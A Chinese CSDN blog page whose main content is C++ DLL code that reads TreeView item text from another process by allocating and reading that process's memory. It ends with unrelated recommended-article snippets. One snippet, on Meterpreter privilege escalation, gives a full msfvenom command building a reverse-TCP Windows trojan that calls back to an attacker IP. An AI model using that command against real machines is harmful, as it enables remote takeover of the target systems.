如何获取别的进程的TreeView控件的内容_delphi 跨进程获取treeview内容-程序员宅基地

技术标签: c  null  dll  query  mfc  vb  vc  

extern "C" long EXPORT __stdcall GetRootItem (long Thwnd,char *filestr) {
 TVITEM  tvi,  *_tvi;
 char  *_item;
 char item[256];
 unsigned  long  pid; 
 HANDLE  process;
 long ret=(long)((CTreeCtrl*)CWnd::FromHandle((HWND)Thwnd))->GetRootItem();
 if (ret) {
  /*
  GetWindowThreadProcessId
  说明
  获取与指定窗口关联在一起的一个进程和线程标识符
  返回值
  Long,拥有窗口的线程的标识符
  参数表
  参数 类型及说明
  lpdwProcessId Long,指定一个变量,用于装载拥有那个窗口的一个进程的标识符
  hwnd Long,指定窗口句柄
  */
  GetWindowThreadProcessId((HWND)Thwnd,  &pid);
  //用全部权限打开进程
  process=OpenProcess(PROCESS_VM_OPERATION  |PROCESS_VM_READ  | PROCESS_VM_WRITE  |PROCESS_QUERY_INFORMATION,  FALSE,  pid); 
  //给_lvi,_item分配进程级的虚拟内存空间
  _tvi=(TVITEM*)VirtualAllocEx(process,  NULL,  sizeof(TVITEM), MEM_COMMIT,  PAGE_READWRITE); 
  _item=(char*)VirtualAllocEx(process,  NULL,  256,  MEM_COMMIT,  PAGE_READWRITE);    
  tvi.cchTextMax=256;
  tvi.hItem=(HTREEITEM)ret;
  tvi.mask=TVIF_TEXT;
  tvi.pszText=_item;
  //把_lvi写入进程
  WriteProcessMemory(process,  _tvi,  &tvi,  sizeof(TVITEM),  NULL); 
  //发消息得到数据
  ::SendMessage((HWND)Thwnd,  TVM_GETITEM, 0 ,  (LPARAM)_tvi);
  //从进程中读出数据
  ReadProcessMemory(process,  _item,  item,  256,  NULL);
  //copy data
  memcpy(filestr,item,256);
  //free memory
  VirtualFreeEx(process,  _tvi,  0,  MEM_RELEASE); 
  VirtualFreeEx(process,  _item,  0,  MEM_RELEASE);
 }
 return ret;
}

extern "C" long EXPORT __stdcall GetNextItem (HWND Thwnd,long next,char *filestr) {
 TVITEM  tvi,  *_tvi;
 char item[256];
 char  *_item;
 unsigned  long  pid; 
 HANDLE  process;
 long ret=(long)((CTreeCtrl*)CWnd::FromHandle(Thwnd))->GetNextSiblingItem((HTREEITEM)next);
 if (ret) {
  GetWindowThreadProcessId(Thwnd,  &pid); 
  process=OpenProcess(PROCESS_VM_OPERATION  |PROCESS_VM_READ  | PROCESS_VM_WRITE  |PROCESS_QUERY_INFORMATION,  FALSE,  pid); 
  _tvi=(TVITEM*)VirtualAllocEx(process,  NULL,  sizeof(TVITEM), MEM_COMMIT,  PAGE_READWRITE); 
  _item=(char*)VirtualAllocEx(process,  NULL,  256,  MEM_COMMIT,  PAGE_READWRITE);    
  tvi.cchTextMax=256;
  tvi.hItem=(HTREEITEM)ret;
  tvi.mask=TVIF_TEXT;
  tvi.pszText=_item; 
  WriteProcessMemory(process,  _tvi,  &tvi,  sizeof(TVITEM),  NULL); 
  ::SendMessage(Thwnd,  TVM_GETITEM, 0 ,  (LPARAM)_tvi);
  ReadProcessMemory(process,  _item,  item,  256,  NULL);
  memcpy(filestr,item,256);
  VirtualFreeEx(process,  _tvi,  0,  MEM_RELEASE); 
  VirtualFreeEx(process,  _item,  0,  MEM_RELEASE);
  
 }
 return ret;
}
以上的函数可以放到dll中在vb,vc里调用,但如果机器没装vc,在vb里调用需要MFC42D.DLL,MSVCRTD.DLL。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/dongle2001/article/details/256551

智能推荐

ubuntu 开机进入不了图形界面-程序员宅基地

文章浏览阅读825次。在开机的时候有注意到空间不足。第二天重启的时候进入不了系统。但是 ctrl + alt _F6 可以进入shell .于是估计是空间不足导致进入不了系统。找到哪里文件夹空间异常的大就可以解决问题。du -h --max-depth=1 work/testing 类似如左边的方式找到文件夹。发现在/var/lib/apt/ 文件夹过大。原来是因为在/etc/..._ubuntu系统进不去图形界面

(笔记)Mysql命令show databases:显示所有数据库-程序员宅基地

文章浏览阅读2.1k次。 show databases命令用于显示所有数据库。show databases命令格式:show databases; (注意:最后有个s)例如:mysql> show databases;注意:为了不在显示的时候乱码,要修改数据库默认编码。以下以GBK编码页面为例进行说明。1) 修改MYSQL的配置文件:my.ini里面修改default-character-set=gbk2) 代..._显示当前所有数据库的命令是( )。 a show databases b show database c list

中文版orgin图像数字化工具_Origin数字化(Digitize)插件介绍(提取图片或扫描格式图形数据点)...-程序员宅基地

文章浏览阅读4.9k次。数字化(Digitize)插件介绍数宇化插件为origin网站提供的极为有用的免费插件之一,该插件可将普通曲线图直接在origin中数字化.例如,以通过扫描仪将曲线图扫入计算机,或在网上获取的电子资料曲线图等。这些以图形格式保存的曲线线,能方便地通过数字化插件在origin软件中数字化。Digitize自带了帮助,以下简要介绍该插件的安装和使用。1.下载数字化插件在http://www.orig..._originpro digitize

经济数据预测 | Python实现ARIMA模型股票趋势预测_spyder股票价格涨跌趋势预测模型构建-程序员宅基地

文章浏览阅读5k次,点赞2次,收藏17次。经济数据预测| Python实现ARIMA模型股票趋势预测目录经济数据预测| Python实现ARIMA模型股票趋势预测基本介绍数据描述程序设计参考资料基本介绍随着人们生活水平的提高,人们的投资方式也在发生着巨大的变化,越来越多的人开始关注并参与到股票市场投资中去。股票具有高收益的同时也具有高风险性,股票市场受众多因素的影响,价格令人无法捉摸,股票价格预测的研究具有巨大的价值,因此对于股票价格的预测从股票市场诞生之日起,就成了股民与学者们不懈探索的难题。本文以此为背景,建立ARIMA模型,用于研究_spyder股票价格涨跌趋势预测模型构建

sudo apt-get install -f 超级实用Ubuntu 命令 解决安装软件依赖项_sudo apt-get -f install-程序员宅基地

文章浏览阅读1.4w次,点赞9次,收藏45次。大家在使用Ubuntu系统安装各种软件的时候,总会碰到各种缺少依赖的问题,今天介绍一键解决各种依赖问题当大家安装一款软件时 例如 本人安装TeamViewer 的时候缺少多种依赖项这时候一个一个敲肯定是费劲的,也有可能根本不知道怎么安装,这时候只要在后边紧跟一条命令即可sudo apt-get install -f超级实用,这条命令就是 解决依赖项的,注意紧跟安装前一条命令后..._sudo apt-get -f install

vivo是安卓手机吗_win10支持手机吗 win10支持打开安卓APP手机名单汇总-程序员宅基地

文章浏览阅读154次。win10支持手机吗 win10支持打开安卓APP手机名单汇总本周推出新一代Galaxy Note20、Z Fold 2折叠屏手机的同时,三星与微软也做了一些软件上的联动。简单来说,通过Windows 10上的“Your Phone(你的手机)”APP,可以在连接到三星手机后,直接运行手机内安装的安卓APP,界面体验和原生APK一致。甚至,你可以将常用APK固定到任务栏中,每一款APP都会在单独新..._vivo手机windows10设备支持状态

随便推点

Meterpreter提权详解-程序员宅基地

文章浏览阅读222次。0x01 Meterpreter自动提权1.生成后门程序我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马:msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe这里我们为生成的木马指定了payload为:windows/m..._meterpreter中的getsystem是如何实现提权的效果

css声明由什么组成,css每条声明由一个什么组成-程序员宅基地

文章浏览阅读1.3k次。在css中,每条声明由“属性”和“属性值”组成,并用分号来标识一个声明的结束,在一个样式中最后一个声明可以省略分号;所有声明被放置在一对大括号“{}”内,然后整体紧邻选择器的后面。本教程操作环境:windows7系统、CSS3版、Dell G3电脑。CSS样式及其基本语法CSS 代码可以在任何文本编辑器中打开和编辑。因此,不管读者有没有编程基础,初次接触 CSS 时会感到很简单。本节将介绍 CSS..._声明由什么组成

AES加密 — 详解-程序员宅基地

文章浏览阅读3w次,点赞21次,收藏143次。转载请标明出处:http://blog.csdn.net/zhaoyanjun6/article/details/120285594本文出自【赵彦军的博客】AES 简介DES 全称为Data Encryption Standard,即数据加密标准,是一种使用密钥加密的块算法,1977年被美国联邦政府的国家标准局确定为联邦资料处理标准(FIPS)AES 密码学中的高级加密标准(Advanced Encryption Standard,AES),又称Rijndael加密法,是美国联邦政府采用的一种._aes加密

实用技巧--CAD制作空心文字【中级】-程序员宅基地

文章浏览阅读1.6k次。实际工作中,cad的空心字一般有以下用途:一、可以用于标题栏的作者署名(个人的艺术签名);二、可以用于线切割行业,进行文字切割;三、一些特别的字体--cad常规字体库没有的,需要描出来的..._cad 镂空文字 et扩展

SARscape数据处理SAR数据笔记——DINSAR微小形变提取_sarscape处理哨兵dinsar-程序员宅基地

文章浏览阅读1.2w次,点赞8次,收藏109次。SARscape数据处理SAR数据笔记——DINSAR微小形变提取在InSAR技术的基础上,如果重复进行干涉成像或结合己有的精细DEM数据来消除干涉图中地形因素的影响,可以检测出地表的微小形变,这是。DInSAR的技术基础。数据类型:震间两景SentinellA IW slc VV极化方式影像。1.设置系统参数/SARsca pe/Preferences,设置Load Preference..._sarscape处理哨兵dinsar

python毕业设计作品基于django框架 教室图书馆座位预约系统毕设成品(1)开发概要-程序员宅基地

文章浏览阅读914次。python毕业设计作品基于django框架 教室图书馆座位预约系统毕设成品(1)开发概要

推荐文章

热门文章

相关标签